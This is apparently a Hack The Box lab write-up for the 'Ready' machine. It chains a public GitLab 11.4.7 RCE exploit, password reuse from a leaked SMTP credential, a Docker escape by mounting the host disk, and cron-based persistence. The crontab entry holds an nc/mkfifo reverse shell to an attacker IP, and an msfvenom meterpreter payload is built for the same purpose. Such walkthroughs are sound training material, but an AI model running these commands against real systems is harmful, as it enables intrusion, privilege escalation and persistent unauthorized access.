9 minute read

Introduction


Ready is a medium machine rated 4.2, it’s all about a GitLab RCE to get initial access and then using credentials found on the machine to login as root. I also need to escape a docker container, which is pretty easy. So let’s just start with the enumeration.

Enumeration


As always, I start the enumeration using Nmap.

Nmap Scan


For this task I use the nmap automator, here are the results of the full scan:

PORT   STATE SERVICE
22/tcp open  ssh
5080/tcp open  onscreen

On those open ports, the automator will perform a script scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-title: GitLab is not responding (502)

Service Enumeration


The SSH version is not vulnerable, so I start with the enumeration of the only other port open.

On port 5080 runs nginx. The scans showed no good results, so I checked robots.txt:

# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /

# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1

# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

That does not help me much. When visiting a directory, I get a login form.

I can try to register a new account:

Untitled

That worked, but the directories could not be found after the login. When visiting the help page, I can see the version of Gitlab:

Untitled

I like the update asap message. That means that this version is outdated. Let’s search for an authenticated (or unauthenticated) RCE:

GitHub - ctrlsam/GitLab-11.4.7-RCE: POC for GitLabs Authenticated RCE in version 11.4.7 community edition

The good thing is that this exploit works with python3, so I should not have any problems regarding packets and incompatible versions.

Exploitation


Let’s download the exploit and switch to it’s directory:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ git clone https://github.com/ctrlsam/GitLab-11.4.7-RCE.git
Cloning into 'GitLab-11.4.7-RCE'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 13 (delta 2), reused 11 (delta 2), pack-reused 0
Receiving objects: 100% (13/13), done.
Resolving deltas: 100% (2/2), done.
                                                                                                                                                                                
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ cd GitLab-11.4.7-RCE 
                                                                                                          
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ ls
exploit.py  README.md

Here are the parameters that we need to set:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ python3 exploit.py
usage: exploit.py [-h] -u U -p P -g G -l L -P P
exploit.py: error: the following arguments are required: -u, -p, -g, -l, -P

I can also view the parameters in the source code:

parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
parser.add_argument('-l', help='reverse shell ip', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)

I can run the exploit with the credentials of my test account:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ python3 exploit.py -u test -p password -g http://ready.htb -l 10.10.16.6 -P 443
[+] authenticity_token: 72T53eiUQIfjzCLNIxbDdzCbxqyfakwFCVD6wEY8w//C/CncRlgJkzaeg5rbxf+YZs4V7zv1/nMGBdk2Q+0SBw==
[+] Creating project with random name: project7246
[+] Running Exploit
[+] Exploit completed successfully!

Look at the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.220] 47710
which python
which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ export TERM=xterm
export TERM=xterm
git@gitlab:~/gitlab-rails/working$ ^Z
zsh: suspended  nc -lvnp 443

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

git@gitlab:~/gitlab-rails/working$ ^C
git@gitlab:~/gitlab-rails/working$

There is the shell as user git.

User Flag


Let’s check if I’m able to read the user flag:

git@gitlab:~/gitlab-rails/working$ cd /home 
git@gitlab:/home$ ls
dude
git@gitlab:/home$ cd dude
git@gitlab:/home/dude$ ls
user.txt
git@gitlab:/home/dude$ cat user.txt
e1**************************7682

I could obtain the flag. It’s time to privesc.

Privilege Escalation


One of the most standard tool is LinPEAS, so I run it. Here are the most important things it found:

╔══════════╣ Searching GitLab related files                                                                                                                                                                         
gitlab-rails was found. Trying to dump users...                                                                                                                                                                     
{"id"=>1,                                                                                                                                                                                                           
 "email"=>"admin@example.com",                                                                                                                                                                                      
 "encrypted_password"=>                                                                                                                                                                                             
  "$2a$10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2",
---snip---
{"id"=>2,                                                                                                                                                                                                           
 "email"=>"test@gmail.com",                                                                                                                                                                                         
 "encrypted_password"=>                                                                                                                                                                                             
  "$2a$10$WxL4iln6YUQauvHNIqmjBOjwTQMtsjIUNoNgWu37.9iwg7t.ocj2e",

╔══════════╣ Capabilities                                                                                                                                                                                           
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities                                                                                                                                          
Current capabilities:                                                                                                                                                                                               
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,
cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,
cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,
cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,
cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,
cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,
cap_syslog,cap_wake_alarm,cap_block_suspend,37+i
# cap_chown was marked orange
CapInh: 0000003fffffffff                                                                                                                                                                                            
CapPrm: 0000000000000000                                                                                                                                                                                            
CapEff: 0000000000000000                                                                                                                                                                                            
CapBnd: 0000003fffffffff                                                                                                                                                                                            
CapAmb: 0000000000000000                                                                                                                                                                                            
                                                                                                                                                                                                                    
Shell capabilities:                                                                                                                                                                                                 
0x0000000000000000=                                                                                                                                                                                                 
CapInh: 0000003fffffffff                                                                                                                                                                                            
CapPrm: 0000000000000000                                                                                                                                                                                            
CapEff: 0000000000000000                                                                                                                                                                                            
CapBnd: 0000003fffffffff                                                                                                                                                                                            
CapAmb: 0000000000000000

╔══════════╣ .sh files in path                                                                                                                                                                                      
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path                                                                                                                               
/opt/gitlab/embedded/bin/jemalloc.sh                                                                                                                                                                                
                                                                                                                                                                                                                    
╔══════════╣ Unexpected in root                                                                                                                                                                                     
/root_pass                                                                                                                                                                                                          
/.dockerenv                                                                                                                                                                                                         
/assets                                                                                                                                                                                                             
/RELEASE

LinPEAS also found a few RSA keys inside of the GitLab config files. I do not even try them, because they would (if they work) only give me a shell as git). I will not try the different methods of privesc that I found with the help of LinPEAS.

I tried cracking the password for admin, but that did not work. All the other methods to exploit did also not work. I found a file in /opt/backup called gitlab.rb. I found a password in it (which is for SMTP):

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

Let’s check for a password reuse:

git@gitlab:/opt/backup$ su root
Password: 
root@gitlab:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/opt/backup#

That worked, but there is no root flag. I was confused but then remembered that I am in a docker image (which LinPEAS found out):

╔══════════╣ Searching Signature verification failed in dmseg                                             
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed         
dmesg Not Found                                      

╔══════════╣ Protections                             
═╣ AppArmor enabled? .............. AppArmor Not Found                                                    
═╣ grsecurity present? ............ grsecurity Not Found                                                  
═╣ PaX bins present? .............. PaX Not Found    
═╣ Execshield enabled? ............ Execshield Not Found                                                  
═╣ SELinux enabled? ............... sestatus Not Found                                                    
═╣ Is ASLR enabled? ............... Yes              
═╣ Printer? ....................... No               
═╣ Is this a virtual machine? ..... Yes (docker)

So I now know what I have to do: escape the docker container.

Escaping The Docker Container


There are many ways to escape a docker container. A lot of them are covered on hacktricks.xyz. I tried a few, but this one worked for me:

Docker Breakout

Here is how you do it. First, you check which file systems there are:

Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem
/dev/sda3  37746688 41940991  4194304   2G Linux swap

Then, mount the correct file system (in my case, it’s the 18Gb Linux File System on sda2):

root@gitlab:/# mount /dev/sda2 /mnt/filesystem                                                                                                                                                                      
root@gitlab:/# cd /sda
bash: cd: /sda: No such file or directory
root@gitlab:/# cd /sda2
bash: cd: /sda2: No such file or directory
root@gitlab:/# cd /mnt/filesystem/
root@gitlab:/mnt/filesystem# ls
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var
root@gitlab:/mnt/filesystem# cd root
root@gitlab:/mnt/filesystem/root# ls
docker-gitlab  ready-channel  root.txt  snap

The file system is mounted. I have access to the /root directory.

Root Flag


Let’s get the root flag:

root@gitlab:/mnt/filesystem/root# cat root.txt 
b7**************************c2b3

Root Shell On The Host


To have access to the file system was not enough for me. I want a shell on the host. I can do this with a cronjob.

First, I checked if netcat is installed on the host’s system:

root@gitlab:/mnt/filesystem/root# which nc
/bin/nc
root@gitlab:/mnt/filesystem/root# cd ..
root@gitlab:/mnt/filesystem# cd bin
root@gitlab:/mnt/filesystem/bin# ls -l nc
lrwxrwxrwx 1 root root 20 Apr 23  2020 nc -> /etc/alternatives/nc

It is, to it’s time to edit /etc/crontab and add this line:

* * * * *       root    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bas -i 2>&1|nc 10.10.16.6 443 >/tmp/f >/dev/null 2>&1

Now, wait a minute and look at the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.220] 48070
bash: cannot set terminal process group (73577): Inappropriate ioctl for device
bash: no job control in this shell
root@ready:~# exit

That is strange, the shell exits automatically. Before giving up, I try a meterpreter shell:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: shell.elf

Upload it to the machine and create another crontab line for it:

* * * * *       root    /tmp/shell.elf

Start a metasploit mutli/handler:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.16.6
msf6 exploit(multi/handler) > set payload  linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.16.6:4444 
msf6 exploit(multi/handler) >

Wait a minute and look at the handler:

msf6 exploit(multi/handler) > [*] Sending stage (984904 bytes) to 10.10.10.220
[*] Meterpreter session 1 opened (10.10.16.6:4444 -> 10.10.10.220:40122) at 2021-09-30 13:11:42 +0200
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 75620 created.
Channel 1 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@ready:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# cd /
cd /
root@ready:/# ls
ls
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var
root@ready:/# ls /mnt
ls /mnt

I just showed that /mnt is empty to prove that this is the host. Here are the hostname outputs on both the docker container and the host:

# Docker
root@gitlab:/mnt/filesystem/etc# hostname
gitlab.example.com

# Host
root@ready:/# hostname
ready

There is even an SSH key for root:

meterpreter > cd .ssh
meterpreter > ls
Listing: /root/.ssh
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  405   fil   2020-12-07 17:49:44 +0100  authorized_keys
100600/rw-------  1675  fil   2020-12-07 17:49:44 +0100  id_rsa
100644/rw-r--r--  405   fil   2020-12-07 17:49:44 +0100  id_rsa.pub

That is the last thing I want to try. Can I access the host with SSH:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nano id_rsa

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ chmod 600 id_rsa 

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ ssh root@ready.htb -i id_rsa
The authenticity of host 'ready.htb (10.10.10.220)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ready.htb,10.10.10.220' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

---[snip]---

Last login: Thu Feb 11 14:28:18 2021
root@ready:~# ls
docker-gitlab  ready-channel  root.txt  snap
root@ready:~# hostname
ready
root@ready:~#

So I have gained persistent access to the root user of the host machine. (With this knowledge of the SSH key, I could have just copied the key in the GitLab reverse shell without the meterpreter shell on the host)